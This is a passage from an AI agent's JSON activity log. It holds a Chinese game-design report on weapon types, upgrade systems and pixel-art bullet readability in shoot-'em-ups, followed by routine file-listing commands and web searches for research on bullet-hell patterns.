|\n|---|---|---|\n| 雷电系列 | **Vulcan(红色道具)** | 初始武器,升级后弹幕从 2 连装→3→4 连装、散布角逐渐加宽(最多 7 方向);视觉上是一排并排的小弹丸扇形散开 |\n| 怒首领蜂 | **Shot(点按 A 键)** | 标准\"spread\"散弹,覆盖面比激光宽;Shot Type 强化后散弹密度/威力翻倍;视觉为密集白色/浅色小弹丸 |\n| 东方 Project | **灵梦 C(Youkai Buster/妖怪破坏者)**、**魔理沙 A(Spread Star/散星)** | 道中清杂强、BOSS 输出低;散布的弹丸+子机(Option)向两侧展开 |\n| 东方(BOSS 视觉范本) | **西行寺幽幽子的蝶弹(死蝶「華胥の永眠」等)** | 以**蝴蝶形状子弹**大面积散开铺满屏幕,是\"散布型弹幕\"最经典的视觉形态之一 |\n\n**设计要点**:散弹的关键是\"扇面角度 + 弹丸数量 + 弹丸间距\"三个可调参数。升级时优先扩展扇面角度或增加弹丸密度,让玩家能直观看到\"火力变强了\"。\n\n---\n\n### 2.2 集中射击(Focus Shot)\n\n**定义**:把所有火力集中在自机正前方一小条区域,单发伤害高(DPS 高),适合贴脸(pointblanking/Shotgunning)打 BOSS,但因覆盖窄需要瞄准走位。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **低速模式(按住 Shift)时的射击**:灵梦「博丽灵符/封魔针」、魔理沙「非指向性激光/高速射击」 | 高速移动时是散弹,按住 Shift 进入低速(目押)模式后,射击自动收拢为**前方集中的高伤害火力**;视觉上弹丸从\"散开\"变为\"一束\" |\n| 怒首领蜂 | **Laser 模式**(见 2.3) | 东方把\"集中\"做成独立模式,怒首领蜂则直接把集中形态做成持续光束 |\n| 风神录 灵梦 B | **Forward Focus Type(Sealing Needle/封印针)** | 正前方集中射击型,BOSS 战伤害高、道中需要编排走位 |\n\n**设计要点**:集中射击通常与\"低速/精确操控\"绑定,视觉上要和散弹形成**一收一放**的对比——弹丸收拢成束、必要时加一条细光束/光线提示\"伤害集中\"。\n\n---\n\n### 2.3 激光 / 光束武器(Laser)\n\n**定义**:持续输出的光束型武器。特点:判定穿透(可打穿一排敌人)、伤害集中、通常伴随机体减速或能量光环(Aura)。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 怒首领蜂 | **Laser(按住 A 键)** | 大型窄光束,最强武器(对 BOSS 首选);Laser Type 可穿透杂鱼、激活更快;激活时机身周围出现 **Aura(灵气光环)**,贴脸时激光+Aura 双重伤害;使用激光时自机减速便于精确躲避 |\n| 雷电系列 | **Laser(蓝色道具)/ Plasma Laser(紫色道具)** | 直线激光,升级增加光束数量与威力;Plasma 激光**可吸附高 HP 敌人并弯曲**(追击相邻目标) |\n| 东方 Project | **魔理沙(Illusion Laser/幻影激光)**、B 型穿透激光 | 穿透型光束;妖妖梦起有\"非指向性激光\"(按住时发射贯穿激光) |\n\n**设计要点**:\n- 光束是**连续**的,区别于散弹的**离散弹丸**——视觉上用粗、直、持续的光柱 + 起点处的光晕做区分;\n- 激光与\"机体周围光环\"绑定是怒首领蜂的标志性设计,光环既是伤害来源也是视觉提示(\"你现在是激光模式\");\n- 注意激光模式下机体的移动速度降低,这是手感上的重要反馈。\n\n---\n\n### 2.4 追踪弹 / 制导武器(Homing)\n\n**定义**:发射后自动追踪敌人的弹药。上手简单、道中省心,代价是单发伤害低、无法集中打同一目标。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **灵梦 A(Homing Amulet/诱导灵符)** | 非集中模式为追踪弹,自动锁定敌人;集中模式切换为前方直射 |\n| 雷电系列 | **Homing Missile(H 道具)** | 子武器系统,追踪导弹自动飞向敌人 |\n| R-Type | **Homing Missile** | 与主炮同时发射的追踪导弹 |\n\n**设计要点**:追踪弹必须**视觉上可读——弹丸带明显的\"转弯/锁定\"行为**(一开始直线、接近目标时转向),并常伴随尾迹(trail)以表现导弹感。像素下建议用 1-2 像素的小弹丸 + 短尾迹 + 发光的\"引导火\"。\n\n---\n\n### 2.5 近战 / 环绕武器(Orbit / Force / Option)\n\n**定义**:不(仅)发射弹丸,而是以\"挂在自机上的物体\"进行接触伤害、挡子弹,或跟随自机复制射击。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| R-Type | **Force Pod(力量球)** | 可以发射出去、也可以收回挂在机头的球体;接触敌人造成伤害、可阻挡子弹 |\n| 怒首领蜂 | **Laser Aura** | 激光激活时机身周围的环状灵气,接触即伤害(贴脸加成) |\n| Gradius | **Option(子机)** | 发光的无敌球体尾随自机,复制自机射击,可堆 2-4 个 |\n| 东方 Project | **子机(Option)**:风神录后 P 道具主要增加子机数量 | 子机在自机两侧/前后跟随发射,火力升级的直观表现 |\n\n**设计要点**:环绕武器是最能体现\"火力等级\"的视觉载体——**子机数量=火力等级**是东方风神录之后的通用做法,玩家一眼可读。像素下子机用发光的小球/小符纸 + 拖尾即可。\n\n---\n\n### 2.6 蓄力射击(Charge Shot)\n\n**定义**:按住射击键充能,松开时释放一发大威力\"蓄力弹\"。蓄力时间越长威力越大,通常带穿透/范围效果。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| R-Type | **Wave Cannon(波动炮)** | 按住 A 蓄力,蓄力等级(charge gauge)越高波动炮越大越强,可穿透弱敌;R-Type Final 3 有最多 2 段蓄力的强化波动炮 |\n| 怒首领蜂(近似) | **Hyper** | 蓄能量槽(Hyper Gauge),满后释放一次爆发性强化(更接近\"强化爆气\"而非单体蓄力弹,见 3.5) |\n\n**设计要点**:\n- 蓄力需要**清晰的充能指示**:R-Type 在机身上方显示蓄力槽/蓄力球,蓄力阶段机身周围能量球从小变大、颜色变亮;\n- 释放瞬间用**大尺寸弹体+全屏震动/闪光**强化\"这一发很重\"的感觉。\n\n---\n\n### 2.7 炸弹 / 清屏技能(Bomb / Spell Card / 灵击)\n\n**定义**:有限的强力保命技:清屏敌弹、短暂无敌、对全场敌人大伤害;部分还能吸道具。数量受限,是玩家\"资源管理\"的核心。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **符卡 BOMB(自机符卡)** | 发动时显示角色立绘+符卡名(私人用视觉/命名系统),清屏敌弹为☆道具、全屏吸道具、短时间无敌;数量有限(通常 3 个起步) |\n| | **灵击(风神录/地灵殿)** | BOMB 变体:不限制次数,改为消耗 Power(见 3.4);风神录灵击为向前推出大型圆环,BOSS战额外全屏判定 |\n| 怒首领蜂 | **Spread Bomb(散弹炸弹)/ Laser Bomb(激光炸弹)** | 炸弹随当前武器状态变化:散弹状态=中规模清屏;激光状态=前方大型激光束(伤害更高);发动时无敌并消弹 |\n| 雷电系列 | **Bomb** | 消屏子弹+BOSS区域伤害;按炸弹键到爆炸有短暂延迟 |\n\n**设计要点**:\n- 炸弹的**视觉语言 = 全屏级特效**:闪光、扩散圆环、敌弹化为道具/星星——让\"屏幕瞬间被清理\"的结果可视化;\n- 东方把炸弹做成\"符卡\"(有名字有立绘)是世界观与玩法结合的最佳范例,值得像素游戏借鉴(起一个帅气的招式名);\n- 炸弹与武器状态联动(怒首领蜂散弹/激光两种炸弹)可以增加决策深度。\n\n---\n\n## 3. 武器升级系统\n\n### 3.1 道具拾取升级(P 道具 / Power-Up)\n\n几乎所有经典 STG 都用\"拾取掉落道具→火力升级\"的模式,区别在道具形态与上限设计:\n\n| 游戏 | 道具 | 升级机制 |\n|---|---|---|\n| 东方 Project | **红色 P 道具** | 小 P +1(红妖永)、+0.05(风神录)、+0.01(星莲船后);大 P +8 / +1.00。满 Power(Full Power Mode)后 P 道具自动转为其他道具(分数/信仰等) |\n| 怒首领蜂 | **P(Power Up)** | 4 个 P 达到满级;死亡后主力武器降 1 级、另一武器归 1 级(二周目则双双降 1 级) |\n| 雷电系列 | **红(Vulcan)/蓝(Laser)/紫(Plasma)/H/M(导弹)** | 同类道具拾取才升级;主武器 8 级满(Vulcan 连装数+散布角递增、Laser 光束数递增);死亡后武器掉落还原 |\n\n**设计要点**:\n- **同类拾取才升级**(雷电)制造\"专注一系武器\"的策略取舍;\n- 掉道具设计(死亡时爆出若干 P 道具)让玩家可以\"捡回\"部分火力,是容错设计;\n- 满级后道具转化(东方)避免火力溢出浪费,是一种奖励机制。\n\n### 3.2 多级别火力变化\n\n- **雷电**:主武器 **8 级**。Vulcan 从 2 连装→3→4 连装、散布角逐步加大;Laser 从单束→多束、光束加粗;是\"逐级可读\"的经典范例。\n- **怒首领蜂**:**4 级(Level 0–4)**。每级激光每秒伤害递增(如 A-Shot 激光 128→136/132→140/136→144 per 2 frames),火力升级数值化。\n- **东方**:Power 分级(红妖永 0–128;风神录 0–5.00;星莲船后 1.00–4.00 下限),变化体现在本体子弹数量(早期)或子机数量/排列(风神录后)。\n\n**设计要点**:每个火力级别都要有**对应的视觉变化**(弹丸数量、散布角、光束宽度、子机数量),让玩家不需要看 HUD 也能感知当前火力等级。\n\n### 3.3 武器切换机制\n\n| 游戏 | 切换方式 | 说明 |\n|---|---|---|\n| 东方 Project | **高速/低速(Shift)** | 同一武器在两种移动速度下显示\"散弹/集中\"两种形态,一按即切换 |\n| 怒首领蜂 | **点按 A = Shot / 按住 A = Laser** | 一个键承载两种武器形态;另在选机界面选择 Shot Type(散弹强化)或 Laser Type(激光强化),是\"模式选择\"的鼻祖 |\n| 雷电 | **红/蓝/紫/绿道具** | 拾取道具即时切换主武器/导弹类型 |\n| Gradius | **Power Meter(升级条)** | 吃一个道具点亮升级条下一格,按确定键购买(Speed/Missile/Double/Laser/Option/护盾……),买完回卷重来——\"选择顺序\"本身就是策略 |\n| 怒首领蜂大往生(DOJ) | **Element Dolls(元素人偶)**:Shotia(强化散弹)/Leinyan(强化激光)/EXY(双强化) | 人偶决定强化方向+炸弹容量上限(3-6 / 2-4 / 1-2),强化与资源形成权衡 |\n\n**设计要点**:\n- 武器切换要么做成\"一键瞬切\"(东方 Shift、怒首领蜂按住),要么做成\"有成本的选择\"(雷电道具、Gradius 升级条);\n- 切武器的代价越小,玩家越倾向频繁换武器应敌(节奏快);代价越大,越需要路线规划(深思熟虑)。\n\n### 3.4 东方 Project 的 Power 系统\n\n- P 道具是唯一火力来源:早期(红/妖/永)为 **0–128** 区间,小 P +1 / 大 P +8;风神录改为 **0.00–5.00**(小 P +0.05 / 大 P +1.00);星莲船后为 **1.00–4.00** 下限。\n- 表现载体变化:永夜抄以前\"本体射出的子弹变多\";风神录以后改为\"增加射出的子机(Option)\"——**火力可视化**。\n- Power 还承担资源职能:风神录/地灵殿的**灵击消耗 1.00 Power**,使用后射击能力减弱,形成\"用资源换保命\"的抉择。\n- 满 Power 后 P 道具转化为分数/信仰道具,防止浪费。\n\n### 3.5 怒首领蜂的强化系统\n\n1. **双模式(Shot/Laser Type)**:初代 DDP 引入。Shot Type 强化散弹(更密、更宽、双倍火力)、激光则细且不可穿透;Laser Type 让激光穿透杂鱼、激活更快、光环保留,但散弹变弱。\n2. **Element Dolls(DOJ)**:见 3.3,强化方向与炸弹容量权衡。\n3. **Hyper 系统(DOJ 起)**:玩家通过连击、收集蜜蜂、贴脸输出积攒 **Hyper Gauge**,满后掉落 Hyper 道具(上限 5 个);激活时:\n - 全场敌弹消除 + 短暂无敌(80/120 帧);\n - 散弹与激光威力暴涨(射出的散弹可消敌弹、激光可挡 BOSS 大激光);\n - 激活期间敌人喷更多子弹、**游戏 RANK 隐藏难度提升**;\n - 计时器以机身周围**白色圆环**呈现,圆环消失=Hyper 结束。\n - 这是\"用强化换难度\"的经典设计——高回报高风险。\n\n**设计要点**:怒首领蜂证明\"武器强化\"可以和\"游戏难度自适应(Rank)\"挂钩,让强力火力本身成为平衡杠杆。\n\n---\n\n## 4. 像素风格表现\n\n### 4.1 子弹的像素美术设计(大小、形状、颜色)\n\n综合 slynyrd(Raymond Schlitter)的 STG 像素美术教程与弹幕社区经验,核心原则是**可见性(readability)第一**:\n\n- **颜色**:子弹应是屏幕上最鲜艳的对象,用高饱和亮色与背景拉开;弹幕游戏普遍选用**红/粉/紫系**作敌弹(不易与背景、自机弹冲突),偶用蓝/黄作功能性区分。\n- **大小**:大子弹更醒目但占屏更大易显得傻;小子弹容易淹没在特效里。混合多种尺寸:大体型通常暗示更高伤害。\n- **形状**:圆、椭圆、针、箭、刀、蝴蝶、米粒、苦无、符纸(东方命名体系:小玉/大玉/针弹/米弹/蝶弹/札弹/箭弹……)等独特形状增强辨识度与趣味。\n- **轮廓线(Outline)**:几乎必须。slynyrd 建议**亮色+暗色双重描边**,或统一用白色描边让子弹在任意背景下可读(敌机/自机用深色描边以区分层级)。\n- **闪烁**:两帧交替(闪白/闪亮)提升存在感与\"危险感\";但对比过强会让高速移动的子弹难追踪——需要在\"醒目\"与\"可追踪\"之间平衡。\n- **旋转/脉动**:星星、方形、椭圆可加旋转;任意形状可加轻微缩放脉动让子弹\"活着\"。\n\n### 4.2 射击特效(muzzle flash、尾迹)\n\n- **枪口闪光(Muzzle Flash)**:自机开火瞬间的短促亮斑,逐帧淡出;体积小但高频出现,应在设计初期预留清晰 sprite。\n- **尾迹(Trail)**:散弹弹药可加短尾迹表现速度感;追踪弹/导弹必须加尾迹(弯曲轨迹+火光)体现\"制导\"性质;激光可加**束起点光晕**与**目标命中火花**。\n- **爆炸(Explosion)**:slynyrd 的爆炸公式——圆形向导扩张成变薄圆环 → 转为有机火团 → 白热渐变为暖色再转灰烟 → 缓慢上升消散;热空气\"快速膨胀、渐凉减速\"的物理节奏是让爆炸可信的关键。\n- **弹道/拖影**:高速敌弹可加残影(ghosting),但残影不能遮挡弹间缝隙。\n\n### 4.3 不同武器类型的视觉区分度\n\n| 武器 | 视觉语言 | 举例 |\n|---|---|---|\n| 散弹 | 大量小弹丸**离散**、扇面、快速连发 | 雷电 Vulcan 并排弹丸;东方灵梦 C 大量小弹 |\n| 集中/激光 | **连续光束**:粗、直、持续 + 起点光晕 + 命中火花;伴随机身光环 | 怒首领蜂激光+灵气光环;魔理沙穿透激光 |\n| 追踪弹 | 弹丸带明显**转弯行为**+弯曲尾迹+发光引导火 | 灵梦 A 诱导灵符;雷电 Homing |\n| 蓄力 | **充能指示器**(机身能量球由小变大/变亮/变色)+ 释放时放大弹体+闪光 | R-Type Wave Cannon 蓄力槽 |\n| 炸弹 | **全屏级特效**:扩散圆环+闪光+敌弹变道具/星星 | 东方符卡 BOMB 立绘+清屏;怒首领蜂两种炸弹 |\n| 环绕武器 | 发光球体/子机挂在自机旁,随火力升级数量递增 | Gradius Option;东方子机 |\n\n### 4.4 屏幕内大量子弹的辨识度设计\n\n- **敌弹颜色编码**:用颜色区分\"快弹/慢弹/装饰弹\"或危险等级(红=会伤害、粉紫=普通、淡色=装饰);东方/怒首领蜂大量使用红粉紫系正是出于与背景不冲突、且高频饱和色在密集时仍可辨。\n- **判定点(Hitbox)分离**:东方从妖妖梦起,低速模式在自机上显示**红色圆点判定点**(子弹只碰到这一点才判定中弹);怒首领蜂所有子弹共享同一 hitbox(通常小于视觉大小)——\"视觉大、判定小\"是弹幕公平性的核心。\n- **自机弹 vs 敌弹颜色对立**:如 castpixel 的做法——**fuchsia(紫红)= 敌弹、yellow(黄)= 自机弹**,极端对立让双方一眼可分。\n- **弹幕\"缝隙设计\"(gap design)**:弹幕不只是子弹设计,更是**缝隙设计**——\"玩家能看见可通行路径即为公平\",装饰性子弹可以用低饱和/半透明表示\"无威胁\"。\n- **擦弹(Graze)反馈**:子弹擦过自机时的音效/闪光反馈(东方擦弹系统)帮助玩家\"读\"弹幕密度。\n- **性能与同屏量**:像素 STG 在低分辨率(如 480×270)下单帧同屏敌弹可达数百,需要单帧 sprite 体量小(8×8 内)+ 2-4 帧动画,并提前规划透明色/轮廓的绘制成本。\n\n---\n\n## 5. 像素 STG 武器视觉设计建议(落地清单)\n\n面向自研像素弹幕 STG,综合以上调研给出可直接落地的建议:\n\n### A. 武器体系骨架\n1. **每种武器 = 一种\"火力形态\"而非多个数值**:散弹(扇形+连发)、激光(穿透光束+光环)、追踪(锁定+尾迹)、集中(高速模式收拢)至少占 2-3 种,用 Shift/按住 键在同一机体上瞬切(东方/怒首领蜂模式)。\n2. **火力等级可视化**:每级变化做成\"子机数量 / 弹丸数 / 散布角 / 光束宽度\"其中之一,让玩家不读 HUD 也能感知等级(东方子机、雷电连装数的思路)。\n3. **掉落同系升级(或 P 通用)**:可选雷电\"同色道具才升级\"(策略取舍)或东方\"P 通用道具\"(上手简单),建议新手向用后者。\n4. **炸弹做成\"有名有相\"的大招**:借鉴东方符卡——发招时全屏特效+短暂演示(立绘/名牌可选),视觉上\"一键清屏\"结果必须一帧可见。\n5. **强化换难度**(可选进阶):怒首领蜂 Hyper/Rank 思路——强火力同时提高敌弹速度或密度,制造\"成长风险\"。\n\n### B. 子弹与特效像素规范\n6. **敌弹用红/粉/紫高饱和系 + 白/亮色轮廓(双描边更稳)**;自机弹用对立色(黄/青),两类永不撞色。\n7. **子弹 8×8 内完形、2 帧闪烁**:交替闪白提升醒目度;高速弹少用高对比闪烁以免难追踪。\n8. **独特形状命名体系**:采用东方式命名(小玉/大玉/针/米/蝶/札/箭/刀/苦无),每个形状配名称,既是美术资产清单也是世界观萌点。\n9. **判定点独立显示**:低速(focus)模式显示红色圆点判定;敌弹统一\"视觉 > 判定\"原则。\n10. **特效规格化**:muzzle flash 2-3 帧、爆炸 8-10 帧(白热→暖色→灰烟)、激光起点光晕+命中火花常驻 2-3 sprite。\n11. **尾迹只给\"需要读懂速度/轨迹\"的弹种**(高速弹、追踪弹),装饰弹少用尾迹以保缝隙可读性。\n\n### C. 屏幕可读性指标\n12. 任意单帧同屏:自机弹与敌弹在色相/明度上至少有一个维度明确对立。\n13. 弹幕可读性验收标准:**截图后 1 秒内能指出至少一条可行缝隙**;做不到就降低装饰弹密度或调低其饱和度。\n14. 低分辨率(320×180 ~ 640×360)下优先保证:敌弹 > 自机 > 背景 的优先级渲染(敌弹永远最上层且最亮)。\n\n---\n\n## 6. 参考资料\n\n以下为本报告主要信息来源(按主题归类):\n\n1. 维基百科中文:符卡(东方 Project 自机 BOMB/符卡系统)、东方 Project(游戏系统/P 道具/BOMB 演化)、东方妖妖梦(低速判定点/武器/樱点系统)、怒首领蜂(Shot/Laser 强化)\n2. Shmups Wiki(shmups.wiki):»DoDonPachi«(Shot/Laser 双模式、Aura、两种炸弹、hitbox、4 级火力)、»DoDonPachi DaiOuJou«(Element Dolls、Hyper 系统、Rank)、»Mountain of Faith«(风神录自机 6 种 shot type、Power/灵击、P 道具数值)、»Raiden II / Raiden DX«(Vulcan/Laser/Plasma、8 级火力、H/M 导弹)\n3. THBWiki / 东方维基(thwiki.cc、zh.touhouwiki.net):STG 术语(判定点/擦弹/自机狙/道中)、弹幕类型词条、东方游戏玩法页\n4. Touhou Community Jargon(maribelhearn.com):东方子弹类型命名列表(玉弹/针弹/蝶弹/米弹/札弹/苦无等)\n5. slynyrd Pixelblog #31 – Shmup Design Part 1(slynyrd.com):像素 STG 子弹可见性设计(颜色/尺寸/形状/轮廓/闪烁/旋转)与爆炸设计公式\n6. BULLET HELL SHMUP DESIGN 101(Reddit r/shmupdev):弹幕颜色选择(红粉紫系)、弹幕设计原则\n7. 弹幕美术赏析(note.com「15 Beautiful Bullet Hell Patterns」):弹幕=缝隙设计、颜色区分弹种/危险等级\n8. R-Type(Shmups Wiki / R-Type Wiki):Wave Cannon 蓄力系统、Force Pod 力球、Bit Device、追踪导弹\n9. Gradius 系列(Gaming History 101 / StrategyWiki):Power Meter 升级条、Speed/Missile/Double/Laser/Option 体系\n10. ClassicReload / GameFAQs Raiden II FAQ:雷电武器道具(红/蓝/紫、H/M)、8 级火力、死亡掉落机制\n\n---\n\n*本报告为公开资料调研整理,涉及具体数值(如怒首领蜂激光伤害、东方 P 道具数值)均以上述来源为准,细节以各游戏实际版本为准。*"}, "ts": 1787459547771}, {"type": "progress", "id": "call_6418c4c6453f4096af5ef770", "tool": "run_command", "status": "running", "args": {"command": "ls -la /Users/demo/starraid/research/weapon_system/ && echo \"---\" && wc -l /Users/demo/starraid/research/weapon_system/weapon_research.md && echo \"---\" && head -30 /Users/demo/starraid/research/weapon_system/weapon_research.md", "timeout": 30}, "ts": 1787459551154}, {"type": "progress", "id": "call_6418c4c6453f4096af5ef770", "tool": "run_command", "status": "completed", "args": {"command": "ls -la /Users/demo/starraid/research/weapon_system/ && echo \"---\" && wc -l /Users/demo/starraid/research/weapon_system/weapon_research.md && echo \"---\" && head -30 /Users/demo/starraid/research/weapon_system/weapon_research.md", "timeout": 30}, "ts": 1787459551212}, {"type": "progress", "id": "call_edb58b5e3d9e4e5bb85a2ff7", "tool": "run_command", "status": "running", "args": {"command": "tail -20 /Users/demo/starraid/research/weapon_system/weapon_research.md && echo \"=== verify dir ===\" && ls /Users/demo/starraid/research/", "timeout": 30}, "ts": 1787459554673}, {"type": "progress", "id": "call_edb58b5e3d9e4e5bb85a2ff7", "tool": "run_command", "status": "completed", "args": {"command": "tail -20 /Users/demo/starraid/research/weapon_system/weapon_research.md && echo \"=== verify dir ===\" && ls /Users/demo/starraid/research/", "timeout": 30}, "ts": 1787459554722}, {"type": "progress", "id": "call_834359f32bda474dbdd9352c", "tool": "todo_update_task", "status": "running", "args": {"completed": true, "task_indices": [1, 5, 6]}, "ts": 1787459558854}, {"type": "progress", "id": "call_834359f32bda474dbdd9352c", "tool": "todo_update_task", "status": "completed", "args": {"completed": true, "task_indices": [1, 5, 6]}, "ts": 1787459558854}]}} \ No newline at end of file diff --git a/demo/mock/activity-sub_2_1787459391_a9b055.json b/demo/mock/activity-sub_2_1787459391_a9b055.json new file mode 100644 index 0000000..1026de8 --- /dev/null +++ b/demo/mock/activity-sub_2_1787459391_a9b055.json @@ -0,0 +1 @@ +{"success": true, "data": {"status": "completed", "entries": [{"type": "progress", "id": "call_cfb299b68dde4a74bfe58bba", "tool": "todo_create", "status": "running", "args": {"overview": "调研弹幕射击游戏敌方弹幕模式并生成结构化调研报告", "tasks": [{"title": "检索项目记忆与检查交付目录结构"}, {"title": "网络搜索经典弹幕模式分类信息"}, {"title": "网络搜索Boss战弹幕设计与东方Project符卡"}, {"title": "网络搜索弹幕数学原理与实现、像素风格视觉设计"}, {"title": "整理生成 bullet_pattern_research.md 调研报告"}]}, "ts": 1787459395610}, {"type": "progress", "id": "call_cfb299b68dde4a74bfe58bba", "tool": "todo_create", "status": "completed", "args": {"overview": "调研弹幕射击游戏敌方弹幕模式并生成结构化调研报告", "tasks": [{"title": "检索项目记忆与检查交付目录结构"}, {"title": "网络搜索经典弹幕模式分类信息"}, {"title": "网络搜索Boss战弹幕设计与东方Project符卡"}, {"title": "网络搜索弹幕数学原理与实现、像素风格视觉设计"}, {"title": "整理生成 bullet_pattern_research.md 调研报告"}]}, "ts": 1787459395610}, {"type": "progress", "id": "call_ab623264136e48809599bf5b", "tool": "search_project_memory", "status": "running", "args": {"keywords": ["弹幕", "bullet hell", "STG", "符卡", "射击游戏"]}, "ts": 1787459395611}, {"type": "progress", "id": "call_ab623264136e48809599bf5b", "tool": "search_project_memory", "status": "completed", "args": {"keywords": ["弹幕", "bullet hell", "STG", "符卡", "射击游戏"]}, "ts": 1787459395613}, {"type": "progress", "id": "call_9a0e3d20ffd24ad8bf328c1f", "tool": "run_command", "status": "running", "args": {"command": "ls -la /Users/demo/starraid/ 2>/dev/null; echo \"---\"; ls -la /Users/demo/starraid/research/ 2>/dev/null; echo \"---\"; ls -la /Users/demo/starraid/research/bullet_patterns/ 2>/dev/null", "timeout": 30}, "ts": 1787459395614}, {"type": "progress", "id": "call_9a0e3d20ffd24ad8bf328c1f", "tool": "run_command", "status": "completed", "args": {"command": "ls -la /Users/demo/starraid/ 2>/dev/null; echo \"---\"; ls -la /Users/demo/starraid/research/ 2>/dev/null; echo \"---\"; ls -la /Users/demo/starraid/research/bullet_patterns/ 2>/dev/null", "timeout": 30}, "ts": 1787459395655}, {"type": "progress", "id": "call_9b9b4ee0cd984f2ba4727017", "tool": "web_search", "status": "running", "args": {"query": "bullet hell danmaku pattern design ring spiral fan patterns tutorial", "max_results": 8}, "ts": 1787459398723}, {"type": "progress", "id": "call_9b9b4ee0cd984f2ba4727017", "tool": "web_search", "status": "completed", "args": {"query": "bullet hell danmaku pattern design ring spiral fan patterns tutorial", "max_results": 8}, "ts": 1787459402243}, {"type": "progress", "id": "call_17b3177663a345848673cc5e", "tool": "web_search", "status": "running", "args": {"query": "东方Project 符卡系统 Spell Card 设计 弹幕", "max_results": 8}, "ts": 1787459402244}, {"type": "progress", "id": "call_17b3177663a345848673cc5e", "tool": "web_search", "status": "completed", "args": {"query": "东方Project 符卡系统 Spell Card 设计 弹幕", "max_results": 8}, "ts": 1787459407839}, {"type": "progress", "id": "call_59a10e058db24223b9289abc", "tool": "web_search", "status": "running", "args": {"query": "STG bullet hell boss pattern design safe zone spell card phases", "max_results": 8}, "ts": 1787459407842}, {"type": "progress", "id": "call_59a10e058db24223b9289abc", "tool": "web_search", "status": "completed", "args": {"query": "STG bullet hell boss pattern design safe zone spell card phases", "max_results": 8}, "ts": 1787459414145}, {"type": "progress", "id": "call_e7310866f9084952b71c96c3", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://note.com/npaka/n/n5d38b7d84173?hl=en"}, "ts": 1787459418076}, {"type": "progress", "id": "call_e7310866f9084952b71c96c3", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://note.com/npaka/n/n5d38b7d84173?hl=en"}, "ts": 1787459419644}, {"type": "progress", "id": "call_bb3045de87664f97a67f4214", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://sparen.github.io/ph3tutorials/ddsga2.html"}, "ts": 1787459419649}, {"type": "progress", "id": "call_bb3045de87664f97a67f4214", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://sparen.github.io/ph3tutorials/ddsga2.html"}, "ts": 1787459421081}, {"type": "progress", "id": "call_b0e393bf872f4f91a80bcf83", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "bullet hell bullet movement math angle speed acceleration curved bullets implementation tutorial"}, "ts": 1787459421085}, {"type": "progress", "id": "call_b0e393bf872f4f91a80bcf83", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "bullet hell bullet movement math angle speed acceleration curved bullets implementation tutorial"}, "ts": 1787459427682}, {"type": "progress", "id": "call_476f023ddc4546089e39867d", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://dmk.bagoum.com/docs/articles/t06.html"}, "ts": 1787459432747}, {"type": "progress", "id": "call_476f023ddc4546089e39867d", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://dmk.bagoum.com/docs/articles/t06.html"}, "ts": 1787459434192}, {"type": "progress", "id": "call_3b00045226594af1ac8b841c", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "pixel art bullet design shmup bullet shapes readability color coding hitbox"}, "ts": 1787459434196}, {"type": "progress", "id": "call_3b00045226594af1ac8b841c", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "pixel art bullet design shmup bullet shapes readability color coding hitbox"}, "ts": 1787459438062}, {"type": "progress", "id": "call_0f5194dad6614e369cad6d30", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "Touhou bullet types pellet star knife orb tama danmaku bullet graphics"}, "ts": 1787459438066}, {"type": "progress", "id": "call_0f5194dad6614e369cad6d30", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "Touhou bullet types pellet star knife orb tama danmaku bullet graphics"}, "ts": 1787459443104}, {"type": "progress", "id": "call_126797b4564045079c9e273f", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design"}, "ts": 1787459446601}, {"type": "progress", "id": "call_126797b4564045079c9e273f", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design"}, "ts": 1787459448476}, {"type": "progress", "id": "call_107e79f15560482196aa6d4a", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://touhou.fandom.com/wiki/Touhou_Danmakufu:_Bullets"}, "ts": 1787459448482}, {"type": "progress", "id": "call_107e79f15560482196aa6d4a", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://touhou.fandom.com/wiki/Touhou_Danmakufu:_Bullets"}, "ts": 1787459450129}, {"type": "progress", "id": "call_968d7e3352034f479e45e023", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "shmup boss phase design pattern escalation rhythm light heavy phase spell card survival card"}, "ts": 1787459450136}, {"type": "progress", "id": "call_968d7e3352034f479e45e023", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "shmup boss phase design pattern escalation rhythm light heavy phase spell card survival card"}, "ts": 1787459455165}, {"type": "progress", "id": "call_c4229bb8ffb54b61998b8367", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups"}, "ts": 1787459459458}, {"type": "progress", "id": "call_c4229bb8ffb54b61998b8367", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups"}, "ts": 1787459461213}, {"type": "progress", "id": "call_2934c9ba32d0416aa497fca2", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://zhuanlan.zhihu.com/p/37282998"}, "ts": 1787459461220}, {"type": "progress", "id": "call_2934c9ba32d0416aa497fca2", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://zhuanlan.zhihu.com/p/37282998"}, "ts": 1787459463340}, {"type": "progress", "id": 